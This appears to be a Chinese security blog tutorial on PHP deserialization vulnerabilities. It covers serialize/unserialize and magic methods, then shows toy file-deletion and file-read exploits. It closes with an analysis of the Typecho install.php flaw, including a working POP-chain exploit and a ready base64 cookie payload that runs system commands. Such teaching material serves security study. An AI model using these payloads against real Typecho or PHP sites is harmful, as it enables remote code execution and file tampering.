這是 酒仙橋六號部隊 的第 28 篇文章。
全文共計3952個字,預計閱讀時長12分鐘。
什麼是序列化和反序列化
序列化:將對象轉換成一個字符串,PHP序列化函數是:serialize()
反序列化:將序列化後的字符串還原爲一個對象,PHP反序列化函數是:unserialize()
在說反序列化漏洞之前我們先了解一下對象概念:
我們舉個例子,如果把生物當成一個大類,那麼就可以分爲動物和植物兩個類,而動物又可以分爲食草動物和雜食動物,那有人可能會問了,爲什麼這麼分呢?
因爲動物都有嘴,需要喫東西,植物都需要土空氣和水,都會吸取養分,那麼這些分類我們可以看成php中的類,動物的嘴和植物需要的土空氣水都可以當作屬性,動物喫東西和植物吸取養分都可以當作方法。世間的萬物我們都可以看成是對象,因爲他們都有各自的屬性。比如:人有身高,體重,年齡,性別等等這些屬性,也可以唱歌,跳舞,跑步等等行爲。如果把人看成一個類的話,那麼身高,體重,年齡,性別這些就是人這個類的屬性,而唱歌,跳舞,跑步就是人這個類的行爲。
我們來創建一個人類看看,首先要考慮到這個人的姓名(zhangsan
),性別(男
),年齡(50
),還有它會的技能(會忽悠
)。
<?php
class zhangsan{
public $sex = '男';
public $age = '50';
public function skill(){
echo "沒病走兩步";
}
}
class
就是定義這個類,$sex
就是這個人的性別,$age
就是方法,$skill()
就是它的技能,那麼把類變成對象就很簡單了,只需要new
一下就變成對象了。
$belles = new zhangsan();
// 看看它的年齡
echo $belles->age;
// 換行
echo "\n\r";
// 看看它的技能
echo $belles->skill();
看看運行結果:
這就是一個簡單的對象了,那我們就將它序列化和反序列化一下。
$belles = new zhangsan();
echo serialize($belles);
echo "\n\r";
unserialize('O:8:"zhangsan":2:{s:3:"sex";s:3:"男";s:3:"age";s:2:"50";}');
// 看看它的年齡
echo $belles->age;
我們可以看到實例化就是把對象轉換成字符串,反序列化就是把字符串在變成對象,之後就可以使用對象的功能了。
再來看看與PHP反序列化漏洞有關的魔法函數,這些函數不用創建,默認存在的。
__destruct() //對象被銷燬時觸發
__construct() //當一個對象創建時被調用
__wakeup() //使用unserialize時觸發
__sleep() //使用serialize時觸發
__toString() //把類當作字符串使用時觸發
__get() //獲取不存在的類屬性時觸發
__set() //設置不存在的類屬性會觸發
__isset() //在不可訪問的屬性上調用isset()或empty()觸發
__unset() //在不可訪問的屬性上使用unset()時觸發
__invoke() //當腳本嘗試將對象調用爲函數時觸發
魔術方法的觸發條件:
<?php
class Pers
{
public $age = '18';
public function __construct(){
echo '創建對象觸發'."\n\r";
}
public function __destruct(){
echo '銷燬對象觸發';
}
}
$per = new Pers(); // 創建對象,觸發__construct魔術方法
unset($per); // 銷燬對象,觸發__destruct魔術方法
可以看到對象在創建的時候調用了construct方法,在銷燬的時候調用了destruct方法。
<?php
class Pers
{
public $age = '18';
public function __sleep(){
echo '使用serialize時觸發'."\n\r";
return(array('age'));
}
public function __wakeup(){
echo '使用unserialize時觸發';
}
}
$per = new Pers();
serialize($per); // 序列化,觸發__sleep魔術方法
unserialize('O:4:"Pers":1:{s:3:"age";s:2:"18";}'); // 反序列化,觸發__wakeup魔術方法
可以看到對象在實例化的時候觸發了sleep方法,在反序列化的時候觸發了wakeup方法。
<?php
class Pers
{
public $age = '18';
public function __toString(){
return '對象當作字符串使用時觸發'."\n\r";
}
public function __get($p){
echo '獲取類不存在的方法會觸發'."\n\r";
}
public function __set($n,$v){
echo "設置不存在的類屬性會觸發"."\n\r";
}
}
$per = new Pers();
$per->age = '20';
echo $per; // 把對象當成字符串輸出
$per->p1; // 獲取類不存在的屬性
$per->n = 'aa'; // 設置類不存在的屬性
對象在echo
的時候會把對象當成字符串就會觸發__toString
方法,獲取類不存在的屬性p1
,觸發__get
魔術方法,設置類不存在的屬性n
,觸發__set
魔術方法。
<?php
class Pers
{
public $age = '18';
public function __isset($p){
echo "判斷屬性是否存在的時候觸發"."\n\r";
}
public function __unset($content) {
echo "當在類外部使用unset()函數來刪不存在的屬性時自動調用的"."\n\r";
}
public function __invoke($content) {
echo "把一個對象當成一個函數去執行"."\n\r";
}
}
$per = new Pers();
$per->age = '20';
isset($per->aaa); // 判斷屬性是否存在
unset($per->ages); // 刪除不存在的屬性
$per('111'); // 把對象當作函數
判斷屬性是否存在的時候觸發__isset
魔術方法,刪除不存在的屬性時候觸發__unset
魔術方法,把對象當作函數的時候觸發__invoke
魔術方法。
php反序列化案例
小案例1
先修改值,然後序列化。
// demo1.php
<?php
class delete{
public $name = 'error';
function __destruct()
{
echo $this->name.'<br>';
echo $this->name . ' delete';
unlink(dirname(__FILE__).'/'.$this->name);
}
}
// demo2.php
<?php
include 'demo1.php';
class per{
public $name = '';
public $age = '';
public function infos(){
echo '這裏隨便';
}
}
$pers = unserialize($_GET['id']);
分析一下上面的代碼,可以看到直接獲取id
,這個參數可控,我們可以把這個參數輸入成delete類的實例化,並把delete類中的$name
的參數進行修改成我們想要的,就可以造成文件刪除,下面來構造一下Exploit:
// 序列化 demo1.php
<?php
class delete{
public $name = 'error';
}
$del = new delete();
$del->name = 'ccc.php';
echo serialize($del);
// demo2.php?id=O:6:"delete":1:{s:4:"name";s:7:"ccc.php";}
小案例2
// demo3.php
<?php
class red{
public $name = 'error';
function __toString()
{
// echo $this->name;
return file_get_contents($this->name);
}
}
// demo4.php
<?php
include 'demo3.php';
class per{
public $name = '';
public $age = '';
public function infos(){
echo '這裏隨便';
}
}
$pers = unserialize($_GET['id']);
echo $pers;
我們可以看到id參數同樣可控的,red類有一個__toString方法,這個方法上面說到了,只要當成字符串使用就會自動調用,可以構造下面的Exploit,來查看文件內容。
// 序列化 demo1.php
<?php
class red{
public $name = 'error';
}
$del = new red();
$del->name = 'ccc.txt';
echo serialize($del);
Typecho安裝文件反序列化漏洞
漏洞代碼分析:
// 要讓代碼執行到這裏需要滿足一些條件:
//判斷是否已經安裝
if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) {
exit;
}
// 擋掉可能的跨站請求
if (!empty($_GET) || !empty($_POST)) {
if (empty($_SERVER['HTTP_REFERER'])) {
exit;
}
$parts = parse_url($_SERVER['HTTP_REFERER']);
if (!empty($parts['port']) && $parts['port'] != 80 && !Typecho_Common::isAppEngine()) {
$parts['host'] = "{$parts['host']}:{$parts['port']}";
}
if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) {
exit;
}
}
// install.php
<?php
// 先調用了Typecho_Cookie::get()方法獲取Cookie中的__typecho_config的值,在base64解密
// 由此可以判斷出poc應該進行base64加密放在cookie中
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
// 然後調用Typecho_Db
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);
?>
// 在Typecho_Db方法中進入到__construct方法
public function __construct($adapterName, $prefix = 'typecho_')
{
$this->_adapterName = $adapterName;
// 這裏進行的拼接操作,這裏可以判斷出可能會觸發類的__toString()方法
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
// ...省略
}
// 其中有三個類有使用__toString()方法:
// var/Typecho/Config.php
// var/Typecho/Feed.php
// var/Typecho/Db/Query.php
// 其中Feed可以利用,在Feed__toString()方法中的290行
foreach ($this->_items as $item) {
$content .= '<item>' . self::EOL;
$content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;
$content .= '<link>' . $item['link'] . '</link>' . self::EOL;
$content .= '<guid>' . $item['link'] . '</guid>' . self::EOL;
$content .= '<pubDate>' . $this->dateFormat($item['date']) . '</pubDate>' . self::EOL;
// 在這裏,我們可以控制變量爲不可訪問的屬性phpinfo();,這時候可以判斷出可能會觸發類的__get()魔術方法
$content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;
// 在文件Request.php中的__get()方法中,獲取到了screenName
public function __get($key)
{
echo $key;exit;//screenName
return $this->get($key);
// 跟進$this->get($key)就是獲取screenName的值爲phpinfo(),很簡單不寫了,然後他調了return $this->_applyFilter($value);
}
// 再跟進$this->_applyFilter($value)
private function _applyFilter($value)
{
if ($this->_filter) {
foreach ($this->_filter as $filter) {
var_dump($filter.'--'. $value);exit;
// 這裏可以看到獲取了兩個值 "assert--phpinfo()",並交給call_user_func處理
$value = is_array($value) ? array_map($filter, $value) : call_user_func($filter, $value);
//。。。省略
我們再來回顧一邊漏洞產生的步驟:
1.從Cookie或者POST的數據中尋找到'__typecho_config'字段。
2.然後調用'__typecho_config'中的'adapter'和'prefix'實例化一個Typecho_Db類。
3.在實例化過程中,採用了字符串拼接訪問了'adapter',當我們設置的'adapter'字段是一個類的話,就會觸發這個類的__toString()魔術方法。
4.尋找到Feed這個類中的__toString() 魔術方法,訪問了$item['author']->screenName。
5.當$item['author']->screenName爲一個不可訪問的屬性時,將會觸發該類的__get()魔術方法
6.Typecho_Request類的魔術方法中,調用了get(),該方法內,檢測了_params[$key]是否存在。
7.將params[$key]的值傳入applyFilter()方法,並執行代碼。
// Exploit如下:
<?php
class Typecho_Feed
{
const RSS1 = 'RSS 1.0';
const RSS2 = 'RSS 2.0';
const ATOM1 = 'ATOM 1.0';
const DATE_RFC822 = 'r';
const DATE_W3CDTF = 'c';
const EOL = "\n";
private $_type;
private $_items;
public function __construct(){
$this->_type = $this::RSS2;
$this->_items[0] = array(
'title' => '1',
'link' => '1',
'date' => 1508895132,
'category' => array(new Typecho_Request()),
'author' => new Typecho_Request(),
);
}
}
class Typecho_Request
{
private $_params = array();
private $_filter = array();
public function __construct(){
$this->_params['screenName'] = 'phpinfo()';
$this->_filter[0] = 'assert';
}
// 執行系統命令
// public function __construct(){
// $this->_params['screenName'] = 'ipconfig';
// $this->_filter[0] = 'system';
// }
}
$exp = array(
'adapter' => new Typecho_Feed(),
'prefix' => 'typecho_'
);
echo base64_encode(serialize($exp));
// payload
__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjg6ImlwY29uZmlnIjt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjY6InN5c3RlbSI7fX19czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6ODoiaXBjb25maWciO31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6Njoic3lzdGVtIjt9fX19fXM6NjoicHJlZml4IjtzOjg6InR5cGVjaG9fIjt9
復現漏洞:
將payload傳入cookie中。